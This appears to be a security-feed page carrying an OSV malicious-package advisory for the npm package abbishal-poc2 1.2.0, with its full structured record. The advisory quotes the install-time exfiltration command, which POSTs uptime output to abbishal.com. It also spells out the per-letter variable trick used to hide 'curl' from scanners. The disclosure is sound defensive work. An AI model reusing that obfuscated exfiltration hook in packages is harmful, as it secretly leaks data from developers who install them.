Skip to content
Heist/ feed
Back to feed
Unrated

Malicious code in abbishal-poc2 (npm)

Type: advisorySources: OSV

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f) package.json declares a preinstall script `sh./test.sh`. test.sh assembles the string `curl` from single-character shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and then invokes `$i$h$l -d "`uptime`" https://abbishal.com/sh/poc`, POSTing the output of `uptime` (and implicitly the installer's source IP) to abbishal.com at npm install time. The README claims the package has no install scripts and no network activity, directly contradicting the shipped behavior. The command-name obfuscation via per-letter variable assembly is a technique to evade static scanners searching for `curl` in lifecycle scripts, and the destination domain does not match the package's claimed publisher.

Products
abbishal-poc2
Affected versions
1.2.0
Fixed versions
Not specified
CVEs
Not specified
Confirmed fixed CVEs
Not specified
Updated in this feed
28 Oct 2026, 08:58 UTC · Revision 1

Source evidence

Malicious code in abbishal-poc2 (npm)

core-osv · Original source

Published 8 Oct 2026, 03:40 UTC

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f) package.json declares a preinstall script `sh./test.sh`. test.sh assembles the string `curl` from single-character shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and then invokes `$i$h$l -d "`uptime`" https://abbishal.com/sh/poc`, POSTing the output of `uptime` (and implicitly the installer's source IP) to abbishal.com at npm install time. The README claims the package has no install scripts and no network activity, directly contradicting the shipped behavior. The command-name obfuscation via per-letter variable assembly is a technique to evade static scanners searching for `curl` in lifecycle scripts, and the destination domain does not match the package's claimed publisher.

osv:MAL-2026-17654

abbishal-poc2

Fixed versions: Not specified

Complete source record
{
  "id": "0a285c2c95ea5e716ceeab0a4d6d457673ba34635d856cf18296fd574285581d",
  "url": "https://osv.dev/vulnerability/MAL-2026-17654",
  "method": "structured",
  "payload": {
    "kind": "advisory",
    "title": "Malicious code in abbishal-poc2 (npm)",
    "summary": "--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f) package.json declares a preinstall script `sh./test.sh`. test.sh assembles the string `curl` from single-character shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and then invokes `$i$h$l -d \"`uptime`\" https://abbishal.com/sh/poc`, POSTing the output of `uptime` (and implicitly the installer's source IP) to abbishal.com at npm install time. The README claims the package has no install scripts and no network activity, directly contradicting the shipped behavior. The command-name obfuscation via per-letter variable assembly is a technique to evade static scanners searching for `curl` in lifecycle scripts, and the destination domain does not match the package's claimed publisher.",
    "evidence": "osv:MAL-2026-17654",
    "products": [
      {
        "name": {
          "value": "abbishal-poc2",
          "evidence": "/affected/0/package/name"
        },
        "prerequisites": [],
        "fixed_versions": [],
        "affected_versions": [
          {
            "value": "1.2.0",
            "evidence": "/affected/0/versions"
          }
        ]
      }
    ],
    "severity": "unknown",
    "structured": {
      "id": "MAL-2026-17654",
      "aliases": [
        "MAL-2026-17654"
      ],
      "affected": [
        {
          "package": {
            "name": "abbishal-poc2",
            "purl": "pkg:npm/abbishal-poc2",
            "ecosystem": "npm"
          },
          "versions": [
            "1.2.0"
          ],
          "database_specific": {
            "cwes": [
              {
                "name": "Embedded Malicious Code",
                "cweId": "CWE-506",
                "description": "The product contains code that appears to be malicious in nature."
              }
            ],
            "source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abbishal-poc2/MAL-2026-17654.json",
            "indicators": {
              "evidence_files": [
                {
                  "path": "test.sh",
                  "tlsh": "840110b34564a374ede908b21a9913e6c2a9e04a867398b8a2ef810512026a0222fd20",
                  "sha256": "5c9586f87237f19f1c97f5614dc2b525f555879403ef3228313be132e9a410c5"
                }
              ],
              "package_integrity": [
                {
                  "hashes": {
                    "sha1": "f3d5c0b98813defc1c3b63ee00235d14954db5ec",
                    "sha512_sri": "sha512-0L2VJZtvR4IN46fNLFpIlshfVxF7MiCBv7jQ6Iv/CHSA1iect0Yrn0pDy9tm7IQ4Dnre9/ByYnQDRjH6MH4A9A=="
                  },
                  "filename": "abbishal-poc2-1.2.0.tgz"
                }
              ]
            }
          }
        }
      ],
      "modified": "2026-10-08T04:00:04.893469894Z",
      "provider": "osv",
      "references": [
        "https://www.npmjs.com/package/abbishal-poc2/v/1.2.0"
      ],
      "provider_metadata": {
        "malicious-packages-origins": [
          {
            "id": "IN-MAL-2026-021131",
            "sha256": "e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f",
            "source": "amazon-inspector",
            "versions": [
              "1.2.0"
            ],
            "import_time": "2026-10-08T03:50:29.957301862Z",
            "modified_time": "2026-10-08T03:40:58Z"
          }
        ]
      }
    },
    "related_cves": [],
    "security_relevant": true,
    "severity_evidence": null
  },
  "source_id": "core-osv",
  "document_id": 98432,
  "published_at": "2026-10-08T03:40:58+00:00"
}